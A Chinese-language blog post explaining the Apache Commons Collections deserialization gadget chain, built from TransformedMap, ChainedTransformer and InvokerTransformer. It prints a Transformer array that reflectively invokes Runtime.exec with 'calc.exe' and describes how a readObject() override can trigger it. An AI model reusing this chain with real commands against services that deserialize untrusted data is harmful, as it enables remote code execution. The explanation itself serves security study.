简单分析
构造一个对象 —— 反序列化 —— 提交数据
Map类是存储键值对的数据结构
TransformedMap类 ,该类可以在一个元素被添加/删除/或是被修改时,会调用transform方法自动进行特定的修饰变换,具体的变换逻辑由Transformer类定义
简单来说就是 数据改变时,进行一些我们提前设定好的操作
transformedMap类 Map transformedMap = TransformedMap.decorate(map, keyTransformer, valueTransformer);
keyTransformer和valueTransformer分别对应当key改变和value改变时需要做的操作,其类型实现了Transformer接口,如下:
public interface Transformer {
Object transform(Object var1);
}
public Object transform(Object input) {}
其中只定义了一个transform方法。这个方法会在key或者value改变时触发调用。如果需要触发一系列操作,可定义ChainedTransformer来实现
首先定义一个Transformer数组:
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(...),
new InvokerTransformer(...),
.....
};
//transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] {String.class }, new Object[] {"calc.exe"})};
其次实例化ChainedTransformer:
Transformer chainedTransformer = new ChainedTransformer(transformers);
最后传入TransformedMap实例化参数中:
Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
现在真正的主角出场,InvokerTransformer。如果在变换链中有InvokerTransformer,则也会调用transform方法,它对应方法实现如下:
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
从中可以看出,它是利用反射机制来调用对应的方法。如果input可控,输入一些非法的对象,则会带来安全风险
如果一个类的方法被重写,那么在调用这个函数时,会优先调用经过修改的方法。
因此,如果某个可序列化的类重写了readObject()方法,并且在readObject()中对Map类型的变量进行了键值修改操作,且这个Map变量是可控的,我么就可以实现攻击目标。
参考:https://blog.csdn.net/jameson_/article/details/80137016
https://www.jianshu.com/p/e922ea492ccd
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义
· 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构